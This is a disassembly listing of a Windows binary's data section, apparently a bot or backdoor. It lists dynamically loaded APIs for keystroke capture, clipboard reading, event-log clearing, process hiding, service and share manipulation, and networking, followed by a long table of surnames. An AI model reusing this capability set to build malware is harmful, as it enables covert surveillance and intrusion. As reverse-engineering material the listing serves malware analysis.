aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409909+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409909+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409909:loc_40A267o
; sub_418AF1+58o
align 10h
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409909+921o
align 10h
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409909+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409909+90Co
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409909:loc_40A208o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
align 10h
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409909+82Co
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
align 10h
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409909+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409909+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409909+68Co
align 10h
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409909+67Fo
align 10h
aGethostname db 'gethostname',0 ; DATA XREF: sub_409909+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409909+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409909+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_409909+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_409909+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_409909+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409909+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409909+617o
align 10h
aRecv db 'recv',0 ; DATA XREF: sub_409909+60Ao
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_409909+5FDo
align 10h
aNtohl db 'ntohl',0 ; DATA XREF: sub_409909+5E3o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_409909+5D6o
align 10h
aHtonl db 'htonl',0 ; DATA XREF: sub_409909+5C9o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_409909+5BCo
align 10h
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409909+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409909+5A2o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_409909+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409909+588o
aSocket db 'socket',0 ; DATA XREF: sub_409909+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409909+56Eo
align 10h
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409909+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409909+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409909+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409909+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409909+52Do
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409909+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409909+514o
align 10h
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409909+4A1o
align 10h
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409909+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409909+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409909+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409909+460o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
align 10h
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409909+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409909:loc_409D36o
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409909:loc_409D0Eo
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409909+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409909+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409909+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409909+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409909:loc_409C60o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
align 10h
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409909+2C6o
align 10h
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409909+2B9o
align 10h
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409909+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
align 10h
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409909+285o
align 10h
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409909+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409909+270o
align 10h
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409909:loc_409B68o
align 10h
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409909+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409909+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409909+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409909+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409909+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409909+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409909+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409909+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409909+14Ao
align 10h
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409909:loc_409A3Eo
; sub_425029+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
align 10h
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409909+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409909+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409909+52o
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409909+45o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409909+38o
align 10h
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409909+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409909+Ao
align 4
unk_42D6CC db 2Dh ; - ; DATA XREF: sub_40A5C5+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
align 10h
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
align 4
a_: ; DATA XREF: sub_41036B+252o
unicode 0, <.>,0
unk_42D85C db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9E7o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_42D88C db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9B5o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_42D8BC db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A981o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 10h
unk_42D8E0 db 2Dh ; - ; DATA XREF: sub_40A928+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AA06+46o
; sub_40C2AF+38o ...
aReal db 'real',0
align 10h
dd 0
dword_42D924 dd 0 ; DATA XREF: sub_40AE84+7o
off_42D928 dd offset sub_40AAAC ; DATA XREF: sub_40AE84+49r
aConst db 'const',0
align 8
dd 1, 40AB19h, 7474656Ch, 7265h, 0
dd 2, 40AB77h, 706D6F63h, 2 dup(0)
dd 3, 40ABC4h, 6E756F63h, 797274h, 0
dd 4, 40AC62h, 736Fh, 2 dup(0)
dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
dd 6, 40AEEDh
off_42D9A4 dd offset aAbdulrazak ; DATA XREF: sub_40AAAC+21r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_42D9B0 dd offset aAddison ; DATA XREF: sub_40AE84+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
